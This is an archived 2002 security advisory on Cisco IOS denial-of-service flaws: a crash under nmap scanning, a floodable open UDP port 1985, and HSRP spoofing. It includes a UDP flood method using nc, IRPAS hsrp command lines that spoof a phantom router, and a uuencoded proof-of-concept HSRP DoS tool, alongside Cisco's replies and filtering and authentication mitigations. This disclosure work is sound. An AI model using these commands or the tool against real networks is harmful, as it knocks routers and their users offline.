6th Jun 2002 [SBWID-5412]
COMMAND
Cisco IOS DoS
SYSTEMS AFFECTED
IOS 12.1, surely others
PROBLEM
Andrew Vladimirov [http://www.arhont.com] found various DOS conditions
regarding Cisco IOS.
1. When scanning all 65535 ports from a single host using nmap (full
connect/half connect/null/fin/ack/xmas) through a Cisco 2611 running
C2600-IO3-M, Version 12.1(6.5)the router crashes. Same applies to
scanning a class C network for a single open port. This was discovered
while auditing a corporate network.
Enabling or disabling: CBAC, IDS, IP Accounting and applied extended
ACL\'s with logging, does not effect the results ie. the problem
persists.
Here comes the log :
OS (tm) C2600 Software (C2600-IO3-M), Version 12.1(6.5), MAINTENANCE
INTERIM SOFTWARE Copyright (c) 1986-2001 by cisco Systems, Inc.
Compiled Mon 29-Jan-01 19:20 by kellythw
hippo#ping cisco.com
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 198.133.219.25, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 168/170/173 ms
< < < < < scan starts > > > > >
-Process= \"IP Input\", ipl= 0,
pid= 24 > -Traceback= 802CFCE4 802D19DC 807915D8 80791E04 80792598 8078B37C
803645E8 80363694 80363874 803639D0 802F0864
000010: 00:27:00: %SYS-2-MALLOCFAIL: Memory allocation of 5004 bytes
failed from 0x802CCB60, pool Processor, alignment 0
-Process= \"IP Input\", ipl= 0, pid= 24
-Traceback= 802CFCE4 802D2230 802CCB64 802CD350 80791488 807915F4 80791E04
80792598 8078B37C 803645E8 80363694 80363874 803639D0 802F0864
000011: 00:27:30: %SYS-2-MALLOCFAIL: Memory allocation of 5004 bytes
failed from 0x802CCB60, pool Processor, alignment 0
-Process= \"IP Input\", ipl= 0, pid= 24
-Traceback= 802CFCE4 802D2230 802CCB64 802CD350 80791488 807915F4 80791E04
80792598 8078B37C 803645E8 80363694 80363874 803639D0 802F0864
000012: 00:28:00: %SYS-2-MALLOCFAIL: Memory allocation of 5004 bytes
failed from 0x802CCB60, pool Processor, alignment 0
-Process= \"IP Input\", ipl= 0, pid= 24
-Traceback= 802CFCE4 802D2230 802CCB64 802CD350 80791488 807915F4 80791E04
80792598 8078B37C 803645E8 80363694 80363874 803639D0 802F0864
hippo#sh stacks 24
Process 24: IP Input
Stack segment 0x80DB0DB4 - 0x80DB3C94
FP: 0x80DB3C68, RA: 0x802DE6D8
FP: 0x80DB3C88, RA: 0x80363998
FP: 0x0, RA: 0x802F0864
hippo#sh run
hippo#
(no response)
root@boar:~# ping cisco.com
ping: unknown host cisco.com
The router does not respond. Connection is lost. CPU utilisation
reaches 90 - 100 %. This bug is different from Cisco Bug ID
CSCds07326i, here the scan is going through the router and is not
directed at it.
Update (10 June 2002)
=======
Answer from Sharad Ahlawat, Cisco Product Security Incident Response
Team (PSIRT) Incident Manager [http://www.cisco.com/go/psirt]:
A Cisco 2621 router with 12.1(6a) could not be crashed by using the
nmap command and by mirroring the setup, used by Andrew. Other IOS
releases were tried and no crashes were observed. This currently seems
to be a setup specific issue.
Andrew was using an Interim release of IOS during his testing. Interim
releases are built at regular intervals between maintenance releases
and receive less testing. Interim releases should be selected only if
there is no other suitable release that addresses an issue, and interim
images should be upgraded to the next available maintenance release as
soon as possible. Interim releases are not available via manufacturing,
and usually are not available for customer download from CCO without
prior arrangement with the Cisco TAC.
====================================================
2. In certain versions of IOS UDP port 1985 is open when HSRP is not
running.
For example:
nmap -sU -vvv -O -p1985 192.168.1.254
Starting nmap V. 2.54BETA34 ( www.insecure.org/nmap/ )
Host (192.168.1.254) appears to be up ... good.
Initiating UDP Scan against (192.168.1.254)
The UDP Scan took 0 seconds to scan 1 ports.
Adding open port 1985/udp
Warning: OS detection will be MUCH less reliable because we did not find
at least 1 open and 1 closed TCP port.
Interesting ports on (192.168.1.254):
Port State Service
1985/udp open unknown
Remote OS guesses: Cisco IOS 11.1(7)-11.2(8.10), Cisco 4500-M running IOS
11.3(6) IP Plus, Cisco IOS 11.3 - 12.0(11), Cisco 1600/3640/7513 Router
(IOS 11.2(14)P), Cisco IOS v11.14(CA)/12.0.2aT1/v12.0.3T
However, a) tcpdump did not show any hsrp packets on the network
b) attempts to communicate with the router via HSRP using IRPAS
(http://www.phenoelit.de/irpas/), successful when HSRP is
running, failed to illicit any response.
Flooding 1985 with randomly sized UDP packets (cat /dev/urandom pipe
via nc as UDP etc.,) leads to CPU utilisation above 90% and eventually
the router crashes. Besides the presence of this open port, where it
should be shut, assists in remote OS fingerprinting.
I have checked this with a number of system administrators I know; here
are the stats for udp port 1985 on their routers I\'ve collected:
Open 1985: 12.1(8a)E5 Catalyst 6k R700, 11.2(23) C2500-I-L, 12.2(2)XI
(c827), 12.1(9) (C2500-I-L), 11.1(16) (c1000), 12.0(4)XM (c805), 12.2(2)T1
(C2600-IK8O3S);
Closed 1985: 12.0(3)T (C2500-I-L), 12.0(9) (c1600), 11.3(8)T1 (c2600),
12.0(3)T (c1720), 12.2(3) (c1720), 12.0(16) (C2500-I-L), 12.0(5)XQ
(C1700-NY-M);
In general, 12.0.x does not appear to have this potential problem. Out
of the routers checked, 50 % had udp 1985 open. All routers with 1985
open were succeptible to DoS via 1985 UDP flood. None had HSRP enabled
and running.
====================================================
3. While using IRPAS to test the \"bug\" above I have found the
following. The 12.1.x IOS implementation of HSRP fails to check the IP
address of the phantom router against the IP address of the interface
on which HSRP is running when the IP is advertised from the remote host
using IRPAS. This results in a conflict over the IP address for the
interface, bypassing normal sanity checks.
An obvious DoS condition is created, since the phantom router can be
remotely given an IP address of a local interface through which packets
enter the Active router, thus leading to a loop.
Example :
./hsrp -d 192.168.1.253 -v 192.168.1.254 -a cisco -g 1 -i eth0
where 192.168.1.253 - IP of a phantom router, 192.168.1.254 - IP of an
active router interface on which the standby 1 ip 192.168.1.253 command
is configured.
000059: 00:10:34: %STANDBY-6-STATECHANGE: Standby: 1: Ethernet0/1 state
Active -> Speak
000060: 00:10:34: %STANDBY-3-DIFFVIP1: Ethernet0/1 Group 1 active routers
virtual IP address 192.168.1.254 is different to the locally configured
address 192.168.1.253
May 6 18:28:26 192.168.1.254 324: 000317: 2d17h: %STANDBY-3-DUPADDR:
Duplicate address 192.168.1.254 on Ethernet0/1, sourced by 0050.043a.ff60
Nevretheless, the router goes into standby and 192.168.1.254 is taken
as a phantom\'s IP.
Interestingly, ./hsrp -d 192.168.1.253 -v 192.168.1.254 -a cisco -g 1
-i eth0 -S 192.168.1.254 does not appear to have any effect and the
packets are dropped.
Setting a good password while enabling HSRP (something that should be
done anyway !) provides a temporary solution for this problem.
Unfortunately, I have seen networks running HSRP with default password
\"cisco\".
Update (11 june 2002)
=======
Big Poop [ste0000@hotmail.com] added :
a bit of source code i wrote a couple of month as proof of concept for
the HSRP DoS..... needs libpcap installed to sniff the packets to get
the authentication details + various other stuff. Spoofed packets are
then send to the multicast address informing the group that there is a
new router (the hackers machine / fake IP address) that has the top
priority 255 thus pre-empting the active router and causing a DoS
the prog runs on linux and was tested on mandrake 8
egin 777 hsrp.tar.gz
M\'XL(\"\".0 ST VAS<G N=&%R .U<>7/;.+*??^4J?0>,I]:1\'%F79=FQ$L\\F
MCF>B>HFMLISL,9-2P2(HL4R1? 3E8U-YG_UUXR !BI*=:XX=80Z+0#?0W6@
M/S1 OAJ>#^K3[[YI:K::S6ZG\\UU3IOS?W59G[[OF_EZSN0^$K2;2=_9WOR/-
M;RN63\'.>T)B0[^(P3%;1W5?^)TT_>,\'8GSN,/(W&-*I/CS:RG( E\'OS7\\((1
MO^/);%FIG<^3V LFN;P[WDCN(L87LWDXOF))O@K\']R[MO\'G@0;:=-V%)&.5X
M:1S1!@IVOU1:@[FS3/%H02XOM+,2;\\9R1-XDH/Y\"A0W/7=*(.V+)E,4+I8ZP
MP,8/#G.!D R?$U!B/DX(FHPZ3IP6#<[.+TCKR<%>FO/NY)QLMNJ=S33GS?-_
MONZ?GI!.\\TF7-!HS>DL2=IL0\'PM]%DR2*9ESYA O(!&-.5B+\'+]Y2=PP)N@:
M&QN-AFR?;R@YPHB3#QLE+P\"1 L]U>_+W./:BR&?J\"9JG\\V2JGJ;,]T.T&3R/
MIS#PL.R7@_?PJ\"H%9T/=R+47)W/J>]%B$8_\"T&6.JG(2AW,@^MC;T\')-&758
M_\"\'CBZ; !36!WEZDBM-2Z\'TLAC]8#G]2 B\'@Y=S]I=U\\CV53\'J>%V!R8C\\4!
M,:P1_@*:-!IV ;)A\"^(O$@!%%(=)*$;$QG7H.6!Y.F$5T> VE($\'S5BU)\\O&
MH%]%/P@#ID]AQ )A^C1G[#,: +WH%&_BA;I D#%\'5&;9B6SCW__DZ&0[2PCG
M 3HY^ J?AK\'HE_\'TBL]GE5S!=I3P&D%1@LN[A\'%@E2H&8*$1>I60<]M41V;C
M8TH]!\'\\?!3#41].0)Y5Q&/ $A\\-V30P%<-Y1 L1\"922%:6$40?M+*7-J09_\'
M\\+-26 *JL?&5[IHDEOI 3571D1,_O*0^S_F\"]E3\\7R\\MTQ+ F. )_$I+Q#BA
M\"7A[<)5FRA8==NV-F47I.HX742?-0X.-T-B.11;3&]?.X0&-S&9ST\\D(1OYE
M\'%)G3\'G2\'ZPB\"^:^OYJ\"@ON,:<(<)/N]%[EU6IIF%-;O\\;=M8S7^ZW2:^]T,
M_S5;2-_M=-?X[[=(C<:QQ\\<A>17B3)G0P+F\\(\\=R!8_+,,&]N\",OO D9A&%$
MT 9_!V1R$\\97,%6S)*:)%X+_A#,DQ?_^%<Y)P& % \"\'$Q-,/&!@WV<.EEZ$
ML)K-(L]G9#(>D^WZF#3F/&X <4,QU\"G9^0<PD)U0K)BCL2\',!4R<4/=90-Z
MI#&]8N1 M_R6,[(SK&,B.\\?DAL)R\'/AW$M0X<X1_@\'AX@G^AS\"..YP2/8*ZG
MUPSY*:@WA^F,)- PU\"Z0#PWN2.@2P&>@B)=XU(?)^YKY831C08)LK\\(;XB4$
M3<*A:<PJE5IU,L1U5-3Q\"K98 *D0YG* -52;1I*VZV!N!C,EH1K8I,1N\',YP
MYL9FU;HLF4J20C[L0F,,Y,US<WHG= ;9DZG\'R8R.IP#V5 U3L,\'4FP#P)%\'L
MA;&7W \'9G MZ.DZ\\:R8-HNAO/.B32P;$;(?-(NR&,9T+F$C)RW HS<7],)@H
M#JKJ2A(0\"/H=] CFC.O^NCA[>89]17\'AF$\'%(:Y1\'A$-P3*2Z@-RBX64<<Z$
M 9$;;(@8\'RL0O>RYP H+/[D,8^ YK,IFRAFDWGPEMKJ;1I;>\\Y2SA;R\\8<$Y
M\"?S.(G1S#N,#B^8Q2ZFLA9ZDV7HEQ/6;)[V%?%PA.?P/2Q90 4IM(0*00*SQ
M.J.\\86$#54SD8WG#P -8)+P!^BI\"P?52+8R-8RI#\"D +/XC<C\\D\"C32@\"\'_\"
ML(\".%$[Y]G0@212F(,](N]GL$:\"DLW .!3!J4%X<39.87FJE<+TA O71>#*N
M\"92SO0V_KZ\'\'/I35#@)L(-\'W-K8/ID7V$OAID+B533UC91/6N1RY T35X]!/
M)S!RO2FW0K\\&F]6>4<4#9S7-!MY507G)4](&.4LH:$EB=A0=W$20E=BMA[U=
M^BCDG;$99TEE*ZR11[\\V\'P$&]?[#0K<25JMH4H3J,?B9]\"VN?0N\\J 29+([!
MJ$VL[6:*$V:%5,;/Y(ZW(FV\'3=?(YO#8\\0ZGA_3P^G!RZ!YN5JOD^V=DIU45
M4O(;+QE/@;=*/@BI2B7 =XP\\&CXZ).\'.D9A7H*664*!4(H !&;WJ6;3\'DE9-
MQ8(:%. XZ^\"&(L\\)#P;S5#*G6S]@ITGH54 1T*\"ZT*Y\\,BJ@4 &8)QA\'=Q6H
M\"+>,-2*Y,YO*_.IB=49%UU\"1YU:^QWWW\"&0(*KJ6+>!/=YQ5:3F<9I6[O*$^
M3&\\SF%CZ ST7\'9*_<?\"/FJU&Z@)\"AH_WZC:1QA&;V/L,8[!YP\";\'.S!)^B([
M&ASN2MW57)MI3HBANU9^B%3WZ$_(@RT@0@-^<D@*1A(083V5EGS\\* =5\"34P
M?:F:]ZS=7D8EC%HUS2N<W)@&LO%=J>BQ4\"5;6Z22>;NRB69!@#.F\"!SDR$&D
M( 8\")6*[B:,X781U_<(K*LUJ-C=@B]_;37Z_LDT!JF RY<QG,($S#V-&2H;*
MSA#4C\'7D!9Z/JTN:UK:1[8I6Y!2+SH<=@/-1X+P7K+:_J.VTF+&KD@F<!_]H
MM]\'R_@W@%0?+P/)X#0/*\'#7H,40RJXXNZF8IIRTFKI=UP!LCE\\X\\6/&?D><_
MC?JG)Q<]JQ0W_E V!8EY!6-B8JZ5& R*+%J4HLY\'2GVI*?RN;+;;G7H3_FEO
M\"NX9>*F\'NV)#$:S(#+\\LZV6C4X4:*IJC%-4<.)M.P[DO$\"F,%)BQH7MA,1?U
M8.2-QLKC$\'$IB%=>B +)-;0@;$-[8EG1\\179HJC4!@C&X!CJUO(@5F#LNG8P
M43N8+XNB0-6(Q*C)9-3[<Y@KJ\\%4EE#/YXC+W1 &\\PW/+]CO6,QAG81)YU:X
MD&AUYPBC<VK*T)1GT3AT&!(2FZ[U7H]U*Y,\\@V56+(Z9 [_\"&87(FK0D\'Y?P
MMG*\\QSC5/(RU;0_S<X;1LP+>M$<2V\"> 9DY.LW:19NU\"S?JPBX\'=A*AIN7AM
MI9G%^AK@2O PSIQBKSW8MCV0M6.S#B-8-A[&>9#C5-CP8:IV;>;G<@.TP&L[
M\"*XY11ZY:WODJ]!WEM)V;-J!VHL5D>[9I#_CHE9$U[7IP*U8?,V<(M)]F_0Y
M0\"C8U\\)<E\\C!-K;_R;,?O+<>G]B/K6;NN95[;N>>=W//G=QSS@#O)&\"#21E5
MJ^M_\\T*VNKEJ]G//.2U:3V0S9L1<%(O<;(X74_.R4\'*VF9%;NE(:0.YE$[0X
M]QEI7J8*8;JMD![\\HUPRP<4IBYAOB=AS!NTK>EL((YV48&<,>YI+W*BI>F%(
M93#PY>N+T>G;UZ\\/)0(KQ0PF?=B098%N:.YQIX92DYV.@-,V]\\EIJ_GFA>9G
M4KI*H4)5HC0J\"2@1).&45Y!CYT@2X@&(V*R<7+PZ.;_XU^!DU!\\L@.\\3I(6U
MF5P .4[K08@+,73RDAHM+*ZAA007RU0FCUM:Z59\'5V K/GP-?@;VY7YZAF16
MF*^/M\'6%[2(S#@;@M+@]CSZ_,HV?):<VU]N SR.$.ACV4JX!2P:8*W4491#;
M/\"4#@ G77G#N\\L;*\\Y#,Y:?*Y]/S-]S\'&QDI,!$[>_0-U.VIWLNE;%70W,Z3
MAW4Y>\"SC#T+%=&P8NBDH%AE^BA*EWHF;>R_:.?*BT34Z8W_P[N1\\V#\\[S2V=
MHERUH^F+&D-#3J5,NMZI3YYBZ$\"OTDO4K>;; SZ[P:F_K$740E8K:O\\DP]7(
M-+,A_)+/JUK2BO\'Y3\"!G?0!8F8_4T5\\51%;UX!!OYG4CPH^0G\\5Q&&\\NZ[:L
M<R)<J/N#P?G9Q=GH[4LU44P=<P+*IA[I<.EHGZK]A@#=/@S\"#R53GD!@4CS\\
M+=JXI0()F?2).IZ.;R*+V +&8[&_0!-B;&?FB)/U<N\'!IAPI<VAZMSV\"P1..
MJ1\\@#H;_S2B_2M<+J.87=7 /:Q08\"M>GP?\'SP>CD_/S%VY]&P_Z_3]X;(^LR
M<D=X?AS3&7$11IKKY44L \\*AD(<,LJ\"A&>?2885G!!<*M46$W6H:;A#Q15AE
MKN81Y%6D5-#)%D?:J$&M(P9*D17[/\\V<MJD8Y;.> !L-L)A+0>>;Q,4;,
M:J#@:,;AYUZS*<=;)7*TW*(G?,!V2I^:CF#6D!,X4NER\"EGZI+44JE3HQ(8=
MH)?3UK>RSM]2O9]6!F.Y6=!X6LG#&N>!X@9G2L-E\\+M:0P^N$;E\'MN54AS1@
M-Q!+^%&-\"/9FZJ,@78%P^G@\'10/!1&6P%P0!H:[J?>;A+\'$]\'ZB-AI=9(:5]
M>%-JD1/S5[HR*K_0SX)W29.:YN$M\"OWD4EG>R%UZR);,(F@H*H^N$G%Q1 ?
M);@C<T#HOMZW(]R\\*ZL@<:6B\\)BLLBJKP8:E1<42D/HU-K<M)WXHJ(_E[0#(
M5\" $ZDIQ;J,1A($^A,K%\'V1( W0I9?);)QWBH*.D[V>DO[U M8=/8:##ROH6
M$O0PDH<1!@_2FR7Z6* 3Z1Q#K\'<B_4^QU:U [TJ]J-8=+A>5),+V4O\\;^T^
M,.B\'TREJCVX_PV4 YE;8 .#Y&* M(O9=L14HJ4.KGEC6]ZR\\:QG?0+1NY2<A
MU\\< 1EXR4MTFHER=IEV_&]/)*!11_1QCXFLCS^A=&E($VP039A)&^B#%6G\"M
MNL3R+5K Y8[ZX[F/UST(=<6YDH[?R;BR,K1:L7457 7>%NA$<$J=_F7AMG3I
M7JA R.##8+C\"C0(>T8X]QU+(T2\'.+.*G7(UDP3W5%$FC?PK+B4KPDB /Y[%8
MCLSHHD6!9WBKRLUN:Q]4\\<C0*+5L2N;$\"3$<*+J)9GB)1A&-89?NWYGRR4@8
M,M\\V!;_R*(N@I0B$\"X0BSD1:D*4.<3+\"MB1L-56<,&\'D^?%%_]U)VK-&\"#YC
MVWTONS.[YF?W64H#,NR**W5I\',5JOB-I7%?0A+XCHOOMO3V+:L^D2@^Q)944
M4IT 9\"Q=):\"\\-+@H7-<TD\"\"R6MPW#1RKN(IL;5N?0!D^+D,DLD5QT1&/D^WB
M)V9Q:Z&XU33+VXOE+;-\\=[&\\;99W%LMWS?*]Q?*.6=Y=+-\\SR_=%N3%4/TB8
MIC:J!89IWG9W>S!_%!@%BIY D5=DD.;M/K+Q(F,45]E2\'MUUH2PL,H+H5CPO
M=W!:+S+#2HJ]0HJ/^2\':$AX&JY.Z6J#6(LBQR?8U66LEV8$F:Z\\D>Z+)=A?)
M^(IC%;[\\4,4HM8]1K\"D6J/ _7,>A2-XMJ*@&:F1X=OP_H_/G_ZBEJPP\\R*K3
MM;^\"?S.\"_@!_CUZ]/.^?\'K_&P\\L@.P,.JGJ\'+1I<0\'&R?;SD>,6L\'5XOWU7&
M F=N;G/76ZM;FKI&VDT%HB6L06W5!MP+4JD ,B2ATDCCC,Z!@-65A:LCU2U@
MK2F8),)DG5R(6]8G-]\"%^HS]D#/17AZZ)!*W2\"!G\'^?(\"\\8I[IN%,2,F^./)
MW\'7+UG5DA?TTPM-\"XX;-IW<U >Y:!F K0(>?!/\"^/;H;*G0G%Z@9P (Z8;R&
MZ X0PO\'%^>O\'Q^1F\"AT])U/J$!:$\\\\GTOQWJ?3U<]W \\1S\\!SUW.$R+OI*U
M=>!]/Z*\\_YW0KFE NR8*A [\\.V,[L@M;H7$(^Z,,\":S!WE\\3[)$5:(^L@GMD
M%=Y;K-4 ?&05XB/W0[ZE)\'O%)&O05\\HFO\\]#4MC96!#.LPLJ:I*\\#V39\\Y<
M(,LF+EVX*Q7#]_8JP_[/%R?G;VKZ3:JJ7=8_O5A6].KMP\"[\">S/F2>ZGH6!T
M:7DQ7%_)+7T!+!;7-1-5E;YT6I:A?1LLKT;+V?W&CYK[*X\':DKI0FMX7N@?G
MYB3)0=V4MZ[(N<]85!$]OG\";0]6I3CT;C:%\"NAJIA:Z*D#SL3;KL(-0&PRK$
M^?5@\\+=#PNGU9)%!\"H\"QW@TL\"W_BU7_Y0L4?$!1_?0!L+)4K$?!GX%Y+6@U\\
MEU]6+(YIEM>AS *XFT.N8OCJ*UR]\\@)(-<H[[S\\;K>8 J%%I]_VG(=$<OC)J
M.A U\'1!\\[19F5,YOPM@A%LN3\',N3]SV;0&(O@Z+57\"!IY4E:\"R3M/$E[@21O
M_-;N DG>_JW. LE>GF1/(]0\\$C.)NO<C,I-\\_WYD9I(?W(_03/(GWQZI+9LX
MRNM(W1\\U4F<MM8L1.^N-?8E 3###%\\&,B@D\\\\\'U_&\\ZLAB_?]ESWMPO[::/)
M&(8Z[EX6_;MFQ/4\"CT^9\\P?$.G^H .!GP)]/0#]_W0/=+XOZK81!]YS2_MDP
MD1[9!P(:4>/\"NVW9OPH\\*HI4_9GPT6\\+D<K?*$YDAHG*GQPJ*G]1:*C\\I5$@
M:^[_7#\"V%(U]U1C3UX\\H69-E=6&VU)< EWR<26*K+ [UD\\(1ZJL)@):R.(KU
MUIWU&DH)<1Z^OB[BI?V!$2O][$\\U2<EB-L%WMV*\"WW4@P\"=B5.J.=^@X2-LS
MZ709#?@-4]<6Y27Q[%7VBFR\"\'.DWS)#@\\3,AP^/\'PK:*8N=96T$&\"3Q4=O9N
MFA)!5U_:QAOH&2R4I54HWL[RH96>T:JAQ4=#W K^.3K\"-\\/(8_FTA8N7*^_9
M*F9%!428*94&YO]3EE(7*66^A<I%E\\L7G\\LK/@%F^4<)\'&1GJ+XL@GZA/EH@
M/[WA^])7V/_./?P$QC7UYTQ\\@B-(7PS.?]L#??]7M,7FSC%YGB0R<A<NIR>7
M=T1??\'3Q\\RL*&F?UN.2IOKK7\'QS)+Y/H+Y+<>,DT_:R\'PE[]0<8[!5YQ3LB/
M\"\'Y7)73QM4\'QTG.0P^)X3UV<,\\FS15[-:IF0IP(N\',E/PY%@/KLT-;TF3[U(
M8T.0, *8Z=[I#\\[9[RHK%DJ>OJ&WY$#L.(!\'OB>G7I,C\\MN\"-?P&B;@G(2ID
MZ6&G^ )-5I=\'GI[VC[-V3U4G]O&#\'\"X%DQS36+[JC1W]:Y\"RGMS2623O5N,7
M;G:FNV1GTB*@4*N]6S?^(R#P+ RNV%T&?8MK&1*0AR73)H&.:]7;]=UZ1[2(
M>QWI@]FOQ8GG]_YZT3I]:;(^F/>-/@1VS_=?H6S?^/XK_&ZU][K[Z^]__1:I
MT4A@&@_45WT\"[S:=CP;R-:(93O4O[LAYG0P3=LT\"OI%^0*FDOZFT@=_VV2CZ
M^.(\"../4^!8CX10AV@9^JU-]IX;3G2-.%9:OXO=%Q3N3\"@(?8D9!_*FT#6B/
M/%L @QB: B3 :6\\C?1D,D26TH38%U1ZL^ZB2\"]-UJ3]XU[5;[\"YKLBO:[!8W
MVBULM2N:[1KM_H!KJ2LD() 4Z4ZKVBN5&MODQQ]_)-N-C8_KB7:=UFF=UFF=
MUFF=UFF=UFF=UFF=UFF=UFF=UFF=UFF=UFF=UFF=UFF=UFF=5J?_!ZJEPE,
#>
end
SOLUTION
Update (10 June 2002)
=======
Answers from Sharad Ahlawat, Cisco Product Security Incident Response
Team (PSIRT) Incident Manager [http://www.cisco.com/go/psirt]:
Issue 1: Do not use Interim maintenance releases
Issue 2: UDP port 1985 found open when no HSRP configured. Cisco Bug ID
CSCdt64533 - has already been integrated in 12.2.
Issue 3: Cisco is considering using MD5 to improve the protection of
HSRP in future releases of IOS. However, there are some other factors
that must be considered in this context:
- - this vulnerability can be exploited only from the local segment
(not over the Internet).
- - the same effect, denial of service, can be produced by using ARP,
which can not be protected in any way.
The last factor is especially important since it may cause a false
sense of security if the user is using a hardened version of HSRP as an
attacker can still disrupt the network by using crafted ARP packets.
Another aspect of this issue is that in its current implementation,
HSRP doesn\'t seem to perform a validity check on the IP addresses.
This is under active investigation as Cisco Bug ID CSCdu38323.
Cisco HSRP documentation can be found at
http://www.cisco.com/univercd/cc/td/doc/cisintwk/ics/cs009.htm
Update (11 June 2002)
=======
Felix Lindner <felix.lindner@nruns.com> answers regarding \"local
attack only\" aspect:
This does not prevent remote attacks because Cisco devices do not
validate the destination address of a HSRP packet. Unicast packets are
accepted, which can be tested using the hrsp tool at
http://www.phenoelit.de/irpas/
Update (13 June 2002)
=======
Shane Gibson [res1925d@verizon.net] added:
Best practices would dictate at least the following three:
1. use \"standby GROUP authentication TOKEN\"
2. filter all 224.0.0.2 traffic at your egress routers
3. filter 224.0.0.2 at each interface participating in HSRP
(1) standby authentication provides a simple (clear text) token that is
shared via your participating HSRP routers. This is a **basic** form of
validating your HSRP partners. If you don\'t have the right token, you
don\'t get to play with HSRP (short of any buffer overflow exploits
against the standby auth. mechanism?). This means that someone would
have to get ahold of your Cisco router configs, or sniff the token off
of the local wire.
(2) don\'t let any HSRP packets into your networks from the egress
(3) each router using HSRP should have an appropriate filter only
allowing HSRP traffic from it\'s known HSRP partners, this logic should
be applied on a per group basis (i.e. standby group 10 should have
appropriate filters, while standby group 20 should have a different and
appropriate set of filters).
These are all very basic and simple mechanisms that cost nothing, and
will protect against (okay, I\'m just throwing a number out here...)
99%+ of all attacks against your HSRP participating routers. About the
only thing I see as a potential issue is a local resource being cracked
into and used to whack away at your HSRP routers, which would require
spoofing source IPs, etc... (eg the filters). I\'m sure someone out
there will correct me if I have any flaws in my strategy here...
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH
